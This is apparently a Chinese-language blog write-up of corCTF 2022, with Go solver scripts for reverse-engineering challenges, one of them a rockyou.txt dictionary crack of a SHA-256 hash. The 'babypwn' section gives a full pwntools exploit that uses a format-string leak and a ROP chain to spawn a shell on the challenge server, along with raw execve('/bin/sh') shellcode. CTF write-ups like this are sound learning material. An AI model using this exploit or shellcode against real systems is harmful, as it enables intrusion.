corctf2022_wp

比赛质量很高,可惜只做了一天,第二天有事出去了一天,再做题的时候发现已经结束了,后面的题目复现的时候慢慢加上。

re

Microsoft ❤️ Linux

这题比较简单但是很有意思。

先用IDA打开,发现是一个32位的ELF文件,做了一个循环左移,但是对一个8bit数左移13位很奇怪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void __noreturn start()
{
int i; // esi
int v1; // eax
int v2; // eax
int v3; // eax

__asm { int 80h; LINUX - }
for ( i = 0; i != 18; LOWORD(i) = i + 1 )
{
if ( __ROL1__(byte_100111[i], 13) != byte_100210[i] )
goto LABEL_6;
}
word_100234 = 1;
LABEL_6:
if ( word_100234 == 1 )
v2 = sys_write(1, &off_1002AE, 0x62u);
else
v1 = sys_write(1, &off_100310, 0xDu);
v3 = sys_exit(0);
}

解出来只有一半的flag,按照提示尝试windows下不能直接运行,有可能是DOS,用ghidra打开,调成16bit解析,发现是异或

1
2
3
4
5
6
7
8
9
0000:00d6 83  fe  12       CMP        SI,0x12
0000:00d9 74 11 JZ LAB_0000_00ec
0000:00db 8a 84 13 02 MOV AL,byte ptr [SI + 0x213 ]
0000:00df 34 0d XOR AL,0xd
0000:00e1 8a 9c 22 03 MOV BL,byte ptr [SI + 0x322 ]
0000:00e5 38 d8 CMP AL,BL
0000:00e7 75 09 JNZ LAB_0000_00f2
0000:00e9 46 INC SI
0000:00ea eb ea JMP LAB_0000_00d6

正好异或的是13,和前面对应

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package main

import "fmt"

func main() {
s := []byte{
0x6c, 0xed, 0x4e, 0x6c, 0x8e, 0xcc, 0x6f, 0x66, 0xad, 0x4c, 0x4e, 0x86, 0x6c, 0x66, 0x85, 0x66,
0x0f, 0x8e, 0x3e, 0x63, 0x69, 0x21, 0x3e, 0x55, 0x79, 0x3c, 0x63, 0x6a, 0x78, 0x3c, 0x38, 0x65,
0x2c, 0x2c, 0x3c, 0x70,
}
for i, c := range s {
if i < 18 {
low := c >> 5 & 0xff
high := c << 3 & 0xff
fmt.Printf("%c", low|high)
} else {
fmt.Printf("%c", c^0xd)
}
}

//fmt.Println(s)
}

turbocrab

rust题,用Iced_x86跑了一段代码,前面的部分都可以直接调试过去,直接找到执行的部分,仅仅是进行了一些简单的操作,唯一的问题在于存在多解的可能,要慢慢调整

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package main

import "fmt"

func main() {
s := "R^CRIWJM<6.[5I.G`.C3G3CB5_V?P0"
alphabet := "{}_!.,-=+;':\"<>/?0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
for _, c := range s {
for _, ch := range alphabet {
var tmpRes byte
var tmpCh = byte(ch)
if tmpCh <= 0x80 {
tmpCh = (tmpCh ^ 0x13) - 30
} else {
tmpCh = (tmpCh ^ 0x24) - 30
}
if tmpCh <= 16 {
tmpRes = tmpCh ^ 0x31
} else {
tmpRes = tmpCh
}
if tmpRes == byte(c) {
fmt.Printf("%c", ch)
break
}
}
}
}

hackermans dungeon

这题赛后复现的,比赛的时候都逆完了但是没什么解决思路,赛后发现就是crack一个sha256的hash

1
2
3
4
5
6
7
8
9
10
11
12
13
if ( (int)v17 > 0 )
{
v18 = 0i64;
do
{
++passwd[v18];
v19 = v5 % (int)v17;
++v5;
passwd[v18] = ~((passwd[v19] ^ passwd[v18]) + 98);
++v18;
}
while ( v18 < (int)v17 );
}

首先对输入有一个编码,然后就是一通md5,sha256,chacha20,crc32的操作,在这里卡了很久因为根本求解不出来,赛后看到直接对sha256跑一个字典,非常常用的rockyou.txt就可以了,试了一下,直接就可以解出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package main

import (
"bufio"
"crypto/sha256"
"encoding/hex"
"fmt"
"io"
"os"
"strings"
)

func Sha256(src string) string {
m := sha256.New()
m.Write([]byte(src))
res := hex.EncodeToString(m.Sum(nil))
return res
}

func handle(s []byte) []byte {
for i := 0; i < len(s); i++ {
tmpI := (i + 1) % len(s)
s[i] = ^(((s[i] + 1) ^ s[tmpI]) + 98)
}
return s
}

func main() {
wordlist, err := os.Open("rockyou.txt")
shaRes := strings.ToLower("9C00F1AC636216E2342F64AE3B82E3C02749A69C35DF8C03554D55C101869D47")
//fmt.Println(sha_res)
if err != nil {
return
}
fp := bufio.NewReader(wordlist)
for {
b, _, err := fp.ReadLine()
if err == io.EOF {
break
}
backup := string(b)
s := handle(b)
//for _, c := range s {
// fmt.Printf("%02x ", c)
//}
res := Sha256(string(s))
if res == shaRes {
fmt.Println(backup)
break
}
//break
}

}

pwn

babypwn

格式化字符串加栈溢出,泄露libc_base然后构造rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python3

# %%
from pwn import *
from LibcSearcher import *

binary = ELF("./babypwn_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.31.so")

context.binary = binary
context.os = 'linux'
context.arch = context.binary.arch
# context.terminal = ['alacritty', '-e']
context.terminal = ['wt.exe', 'wsl', '--']

local = False
if local:
context.log_level = 'debug'
p = process([binary.path])
else:
p = remote("be.ax", 31801)


def dbgaddr(addr, PIE=False): # PIE enabled
if local:
if PIE:
text_base = int(
os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
log.info(f'b *{hex(text_base + addr)}\n')
gdb.attach(p, f'b *{hex(text_base + addr)}')
else:
gdb.attach(p, f'b *{hex(addr)}')


def dbg(func=''):
if local:
gdb.attach(p, func)

# dbgaddr(0x6AA1,PIE=True)
# dbg("main")

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims, drop=True: p.recvuntil(delims, drop)
uu32 = lambda data: u32(data.ljust(4, b'\x00'))
uu64 = lambda data: u64(data.ljust(8, b'\x00'))
li = lambda str, data: log.success(str + '========>' + hex(data))

# %%
sh_x86_18 = b"\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20 = b"\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21 = b"\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
# https://www.exploit-db.com/shellcodes

# %%
ru(b"?\n")
sl(b"%2$p.%9$p")
ru(b"Hi, ")
tmp=rl()[:-1].split(b".")
libcbase=int(tmp[0][2:],16)+5184
li("libcbase",libcbase)
binbase=int(tmp[1][2:],16)-106942
li("binbase",binbase)
# %%
system=libcbase+libc.sym.system
li("system",system)
bin_sh=libcbase+libc.search(b"/bin/sh").__next__()
li("bin_sh",bin_sh)
pop_rdi=binbase+0x00000000000051d1
li("pop_rdi",pop_rdi)

# pop_rdi=libcbase+0x0000000000023b6a
payload=b"a"*0x60+p64(binbase+0x0000000000015631)+p64(pop_rdi)+p64(bin_sh)+p64(system)
sl(payload)
# %%

p.interactive()

这里做麻烦了一些,可以使用libc里的gadgets,就可以不用泄露binary base。

Hello World VNCTF 2022 wp

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×